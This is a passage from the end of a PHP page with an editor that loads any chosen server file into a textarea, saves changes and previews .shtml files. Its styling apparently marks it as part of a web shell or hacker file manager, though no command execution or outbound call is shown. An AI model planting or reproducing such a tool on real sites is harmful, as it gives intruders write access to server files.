file_get_contents($editFile); $isShtml = (pathinfo($editFile, PATHINFO_EXTENSION) === 'shtml'); ?> <div class="tool-section" style="margin-top: 30px;"> <h3>โ๏ธ EDITING: <?php echo htmlspecialchars(basename($editFile)); ?></h3> <form method="post"> <textarea name="content" style="width: 100%; min-height: 400px; font-family: monospace; background: #111; color: #00ff00; border: 1px solid #ff6600;"><?php echo htmlspecialchars($content); ?></textarea> <input type="hidden" name="filename" value="<?php echo htmlspecialchars($editFile); ?>"> <button type="submit" name="save_file">๐พ SAVE</button> </form> <?php if ($isShtml): ?> <div style="margin-top: 20px;"> <h4 style="color: #ff6600;">๐ SHTML PREVIEW:</h4> <div style="background: #111; padding: 15px; border: 1px solid #ff6600; border-radius: 5px; color: #ff9900;"> <?php echo preview_shtml($content); ?> </div> </div> <?php endif; ?> </div> <?php } } ?> </div> <script> function toggleAll(source) { document.querySelectorAll('input[name="items[]"]').forEach(cb => cb.checked = source.checked); } </script> </body> </html>
Simpan